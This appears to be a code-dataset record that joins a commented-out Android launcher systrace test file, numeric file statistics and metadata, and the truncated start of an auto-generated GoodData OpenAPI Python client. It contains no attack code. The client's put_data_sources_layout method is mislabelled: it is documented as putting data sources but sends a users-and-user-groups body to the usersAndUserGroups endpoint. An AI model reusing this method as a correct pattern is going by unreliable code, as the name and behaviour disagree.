l.close_drawer() # # # todo data is error # def test_enter_edit_mode_by_long_click(repeat_count, systrace_info): # l = Launcher() # l.skip_all_guide() # l.home() # l.add_icon_to_page(0) # # d = Device() # for i in range(repeat_count): # # enter edit mode by long click # systrace_info.systrace_begin(PACKAGE_HILAUNCHER) # l.enter_edit_mode() # systrace_info.systrace_end() # # exit edit mode # d.press_back() # # def test_enter_a_z(repeat_count, systrace_info): # launch_app_and_collect_systrace('A-Z', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_OPEN, CLOSE_METHOD_PRESS_BACK) # # def test_enter_freezer(repeat_count, systrace_info): # launch_app_and_collect_systrace('Freezer', PACKAGE_HILAUNCHER, repeat_count, systrace_info, TEST_STEP_APP_OPEN, CLOSE_METHOD_PRESS_BACK) # # def test_enter_freezer_add_list(repeat_count, systrace_info): # l = Launcher() # l.skip_all_guide() # l.home() # l.open_drawer() # l.find_icon_in_drawer('Freezer').click() # # d = Device() # # Unfreeze all # has_more = True # while has_more: # l.find_icon_in_drawer('Freezer').click() # try: # app = d.find_element(By.resource_id('freezer_app_text')) # if app.text != 'Add': # app.click() # d.find_element(By.text('OK')).click() # d.wait() # except NoSuchElementException: # has_more = False # # l.find_icon_in_drawer('Freezer').click() # for i in range(repeat_count): # systrace_info.systrace_begin(PACKAGE_HILAUNCHER) # d.find_element(By.text('Add')).click() # systrace_info.systrace_end() # d.press_back() # l.home() # l.home() # # def test_onekey_clean(repeat_count, systrace_info): # l = Launcher() # d = Device() # l.skip_all_guide() # l.home() # try: # d.find_element(By.resource_id('hios_clean_preview_background')) # except NoSuchElementException: # l.add_icon_to_page(0) # l.clear_app_and_folder(0, count=1) # l.open_widget_list() # l.add_widget_from_list('Quick Accelerate') # l.home() # pass # # for i in range(repeat_count): # systrace_info.systrace_begin(PACKAGE_HILAUNCHER) # d.find_element(By.resource_id('hios_clean_preview_background')).click() # systrace_info.systrace_end() # # # def test_onekey_wallpapers(repeat_count, systrace_info): # l = Launcher() # d = Device() # l.skip_all_guide() # l.home() # try: # d.find_element(By.description_starts_with('Wallpaper Swap')) # except NoSuchElementException: # l.add_icon_to_page(0) # l.clear_app_and_folder(0, count=1) # l.open_widget_list() # l.add_widget_from_list('Wallpaper Swap') # l.home() # pass # # for i in range(repeat_count): # systrace_info.systrace_begin(PACKAGE_HILAUNCHER) # d.find_element(By.description_starts_with('Wallpaper Swap')).click() # systrace_info.systrace_end() # # # common method, to click app in drawer and collect systrace of launch app # def launch_app_and_collect_systrace(app_name, app_package, repeat_count, systrace_info, test_step, close_method): # l = Launcher() # l.skip_all_guide() # l.home() # l.open_drawer() # app = l.find_icon_in_drawer(app_name) # for i in range(repeat_count): # if test_step == TEST_STEP_APP_OPEN: # systrace_info.systrace_begin(app_package) # app.click() # systrace_info.systrace_end() # l.back() # elif test_step == TEST_STEP_APP_CLOSE: # if close_method == CLOSE_METHOD_PRESS_BACK: # app.click() # systrace_info.systrace_begin(app_package) # l.back() # systrace_info.systrace_end() # elif close_method == CLOSE_METHOD_PRESS_HOME: # app.click() # systrace_info.systrace_begin(app_package) # l.home() # systrace_info.systrace_end() # l.open_drawer() # app = l.find_icon_in_drawer(app_name) # l.home() # l.home() #

38.434343

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0.120761

0.141439

0.171216

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0.762338

0.729666

0.719189

0.660325

0

0.003909

0.193167

11,415

296

148

38.564189

0.783713

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null

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1b5b6a8b294def1916f7e818d41a0436e2d23546

87,308

py

Python

gooddata-metadata-client/gooddata_metadata_client/api/declarative_layout_controller_api.py

jaceksan/gooddata-python-sdk

640bd8b679e00a5f0eb627bdf6143de078f8b59b

[ "MIT" ]

null

gooddata-metadata-client/gooddata_metadata_client/api/declarative_layout_controller_api.py

jaceksan/gooddata-python-sdk

640bd8b679e00a5f0eb627bdf6143de078f8b59b

[ "MIT" ]

null

gooddata-metadata-client/gooddata_metadata_client/api/declarative_layout_controller_api.py

jaceksan/gooddata-python-sdk

640bd8b679e00a5f0eb627bdf6143de078f8b59b

[ "MIT" ]

null

""" OpenAPI definition No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: v0 Generated by: https://openapi-generator.tech """ import re # noqa: F401 import sys # noqa: F401 from gooddata_metadata_client.api_client import ApiClient, Endpoint as _Endpoint from gooddata_metadata_client.model_utils import ( # noqa: F401 check_allowed_values, check_validations, date, datetime, file_type, none_type, validate_and_convert_types ) from gooddata_metadata_client.model.declarative_analytics import DeclarativeAnalytics from gooddata_metadata_client.model.declarative_data_sources import DeclarativeDataSources from gooddata_metadata_client.model.declarative_model import DeclarativeModel from gooddata_metadata_client.model.declarative_organization import DeclarativeOrganization from gooddata_metadata_client.model.declarative_user_groups import DeclarativeUserGroups from gooddata_metadata_client.model.declarative_users import DeclarativeUsers from gooddata_metadata_client.model.declarative_users_user_groups import DeclarativeUsersUserGroups from gooddata_metadata_client.model.declarative_workspace_data_filters import DeclarativeWorkspaceDataFilters from gooddata_metadata_client.model.declarative_workspace_model import DeclarativeWorkspaceModel from gooddata_metadata_client.model.declarative_workspaces import DeclarativeWorkspaces class DeclarativeLayoutControllerApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def __get_analytics_model( self, workspace_id, **kwargs ): """Get analytics model # noqa: E501 Retrieve current analytics model of the workspace. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_analytics_model(workspace_id, async_req=True) >>> result = thread.get() Args: workspace_id (str): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: DeclarativeAnalytics If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['workspace_id'] = \ workspace_id return self.call_with_http_info(**kwargs) self.get_analytics_model = _Endpoint( settings={ 'response_type': (DeclarativeAnalytics,), 'auth': [], 'endpoint_path': '/api/layout/workspaces/{workspaceId}/analyticsModel', 'operation_id': 'get_analytics_model', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ 'workspace_id', ], 'required': [ 'workspace_id', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'workspace_id': (str,), }, 'attribute_map': { 'workspace_id': 'workspaceId', }, 'location_map': { 'workspace_id': 'path', }, 'collection_format_map': { } }, headers_map={ 'accept': [ '*/*' ], 'content_type': [], }, api_client=api_client, callable=__get_analytics_model ) def __get_data_sources_layout( self, **kwargs ): """Get all data sources # noqa: E501 Retrieve all data sources including related physical model. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_data_sources_layout(async_req=True) >>> result = thread.get() Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: DeclarativeDataSources If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') return self.call_with_http_info(**kwargs) self.get_data_sources_layout = _Endpoint( settings={ 'response_type': (DeclarativeDataSources,), 'auth': [], 'endpoint_path': '/api/layout/dataSources', 'operation_id': 'get_data_sources_layout', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ ], 'required': [], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { }, 'attribute_map': { }, 'location_map': { }, 'collection_format_map': { } }, headers_map={ 'accept': [ '*/*' ], 'content_type': [], }, api_client=api_client, callable=__get_data_sources_layout ) def __get_logical_model( self, workspace_id, **kwargs ): """Get logical model # noqa: E501 Retrieve current logical model of the workspace in declarative form. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_logical_model(workspace_id, async_req=True) >>> result = thread.get() Args: workspace_id (str): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: DeclarativeModel If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['workspace_id'] = \ workspace_id return self.call_with_http_info(**kwargs) self.get_logical_model = _Endpoint( settings={ 'response_type': (DeclarativeModel,), 'auth': [], 'endpoint_path': '/api/layout/workspaces/{workspaceId}/logicalModel', 'operation_id': 'get_logical_model', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ 'workspace_id', ], 'required': [ 'workspace_id', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'workspace_id': (str,), }, 'attribute_map': { 'workspace_id': 'workspaceId', }, 'location_map': { 'workspace_id': 'path', }, 'collection_format_map': { } }, headers_map={ 'accept': [ '*/*' ], 'content_type': [], }, api_client=api_client, callable=__get_logical_model ) def __get_organization_layout( self, **kwargs ): """Get organization layout # noqa: E501 Retrieve complete layout of organization, workspaces, user-groups, etc. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_organization_layout(async_req=True) >>> result = thread.get() Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: DeclarativeOrganization If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') return self.call_with_http_info(**kwargs) self.get_organization_layout = _Endpoint( settings={ 'response_type': (DeclarativeOrganization,), 'auth': [], 'endpoint_path': '/api/layout/organization', 'operation_id': 'get_organization_layout', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ ], 'required': [], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { }, 'attribute_map': { }, 'location_map': { }, 'collection_format_map': { } }, headers_map={ 'accept': [ '*/*' ], 'content_type': [], }, api_client=api_client, callable=__get_organization_layout ) def __get_user_groups_layout( self, **kwargs ): """Get all users # noqa: E501 Retrieve all user-groups eventually with parent group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_user_groups_layout(async_req=True) >>> result = thread.get() Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: DeclarativeUserGroups If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') return self.call_with_http_info(**kwargs) self.get_user_groups_layout = _Endpoint( settings={ 'response_type': (DeclarativeUserGroups,), 'auth': [], 'endpoint_path': '/api/layout/userGroups', 'operation_id': 'get_user_groups_layout', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ ], 'required': [], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { }, 'attribute_map': { }, 'location_map': { }, 'collection_format_map': { } }, headers_map={ 'accept': [ '*/*' ], 'content_type': [], }, api_client=api_client, callable=__get_user_groups_layout ) def __get_users_layout( self, **kwargs ): """Get all users # noqa: E501 Retrieve all users including authentication properties. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_users_layout(async_req=True) >>> result = thread.get() Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: DeclarativeUsers If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') return self.call_with_http_info(**kwargs) self.get_users_layout = _Endpoint( settings={ 'response_type': (DeclarativeUsers,), 'auth': [], 'endpoint_path': '/api/layout/users', 'operation_id': 'get_users_layout', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ ], 'required': [], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { }, 'attribute_map': { }, 'location_map': { }, 'collection_format_map': { } }, headers_map={ 'accept': [ '*/*' ], 'content_type': [], }, api_client=api_client, callable=__get_users_layout ) def __get_users_user_groups_layout( self, **kwargs ): """Get all users and user groups # noqa: E501 Retrieve all users and user groups with theirs properties. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_users_user_groups_layout(async_req=True) >>> result = thread.get() Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: DeclarativeUsersUserGroups If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') return self.call_with_http_info(**kwargs) self.get_users_user_groups_layout = _Endpoint( settings={ 'response_type': (DeclarativeUsersUserGroups,), 'auth': [], 'endpoint_path': '/api/layout/usersAndUserGroups', 'operation_id': 'get_users_user_groups_layout', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ ], 'required': [], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { }, 'attribute_map': { }, 'location_map': { }, 'collection_format_map': { } }, headers_map={ 'accept': [ '*/*' ], 'content_type': [], }, api_client=api_client, callable=__get_users_user_groups_layout ) def __get_workspace_data_filters_layout( self, **kwargs ): """Get workspace data filters for all workspaces # noqa: E501 Retrieve all workspaces and related workspace data filters (and their settings / values). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_workspace_data_filters_layout(async_req=True) >>> result = thread.get() Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: DeclarativeWorkspaceDataFilters If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') return self.call_with_http_info(**kwargs) self.get_workspace_data_filters_layout = _Endpoint( settings={ 'response_type': (DeclarativeWorkspaceDataFilters,), 'auth': [], 'endpoint_path': '/api/layout/workspaceDataFilters', 'operation_id': 'get_workspace_data_filters_layout', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ ], 'required': [], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { }, 'attribute_map': { }, 'location_map': { }, 'collection_format_map': { } }, headers_map={ 'accept': [ '*/*' ], 'content_type': [], }, api_client=api_client, callable=__get_workspace_data_filters_layout ) def __get_workspace_layout( self, workspace_id, **kwargs ): """Get workspace layout # noqa: E501 Retrieve current model of the workspace in declarative form. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_workspace_layout(workspace_id, async_req=True) >>> result = thread.get() Args: workspace_id (str): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: DeclarativeWorkspaceModel If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['workspace_id'] = \ workspace_id return self.call_with_http_info(**kwargs) self.get_workspace_layout = _Endpoint( settings={ 'response_type': (DeclarativeWorkspaceModel,), 'auth': [], 'endpoint_path': '/api/layout/workspaces/{workspaceId}', 'operation_id': 'get_workspace_layout', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ 'workspace_id', ], 'required': [ 'workspace_id', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'workspace_id': (str,), }, 'attribute_map': { 'workspace_id': 'workspaceId', }, 'location_map': { 'workspace_id': 'path', }, 'collection_format_map': { } }, headers_map={ 'accept': [ '*/*' ], 'content_type': [], }, api_client=api_client, callable=__get_workspace_layout ) def __get_workspaces_layout( self, **kwargs ): """Get all workspaces layout # noqa: E501 Gets complete layout of workspaces, their hierarchy, models. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_workspaces_layout(async_req=True) >>> result = thread.get() Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: DeclarativeWorkspaces If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') return self.call_with_http_info(**kwargs) self.get_workspaces_layout = _Endpoint( settings={ 'response_type': (DeclarativeWorkspaces,), 'auth': [], 'endpoint_path': '/api/layout/workspaces', 'operation_id': 'get_workspaces_layout', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ ], 'required': [], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { }, 'attribute_map': { }, 'location_map': { }, 'collection_format_map': { } }, headers_map={ 'accept': [ '*/*' ], 'content_type': [], }, api_client=api_client, callable=__get_workspaces_layout ) def __put_data_sources_layout( self, declarative_users_user_groups, **kwargs ): """Put all data sources # noqa: E501 Set all data sources including related physical model. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.put_data_sources_layout(declarative_users_user_groups, async_req=True) >>> result = thread.get() Args: declarative_users_user_groups (DeclarativeUsersUserGroups): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['declarative_users_user_groups'] = \ declarative_users_user_groups return self.call_with_http_info(**kwargs) self.put_data_sources_layout = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/layout/usersAndUserGroups', 'operation_id': 'put_data_sources_layout', 'http_method': 'PUT', 'servers': None, }, params_map={ 'all': [ 'declarative_users_user_groups', ], 'required': [ 'declarative_users_user_groups', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'declarative_users_user_groups': (DeclarativeUsersUserGroups,), }, 'attribute_map': { }, 'location_map': { 'declarative_users_user_groups': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [ 'application/json' ] }, api_client=api_client, callable=__put_data_sources_layout ) def __put_data_sources_layout1( self, declarative_data_sources, **kwargs ): """Put all data sources # noqa: E501 Set all data sources including related physical model. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.put_data_sources_layout1(declarative_data_sources, async_req=True) >>> result = thread.get() Args: declarative_data_sources (DeclarativeDataSources): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['declarative_data_sources'] = \ declarative_data_sources return self.call_with_http_info(**kwargs) self.put_data_sources_layout1 = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/layout/dataSources', 'operation_id': 'put_data_sources_layout1', 'http_method': 'PUT', 'servers': None, }, params_map={ 'all': [ 'declarative_data_sources', ], 'required': [ 'declarative_data_sources', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'declarative_data_sources': (DeclarativeDataSources,), }, 'attribute_map': { }, 'location_map': { 'declarative_data_sources': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [ 'application/json' ] }, api_client=api_client, callable=__put_data_sources_layout1 ) def __put_user_groups_layout( self, declarative_user_groups, **kwargs ): """Put all user groups # noqa: E501 Define all user groups with their parents eventually. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.put_user_groups_layout(declarative_user_groups, async_req=True) >>> result = thread.get() Args: declarative_user_groups (DeclarativeUserGroups): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is 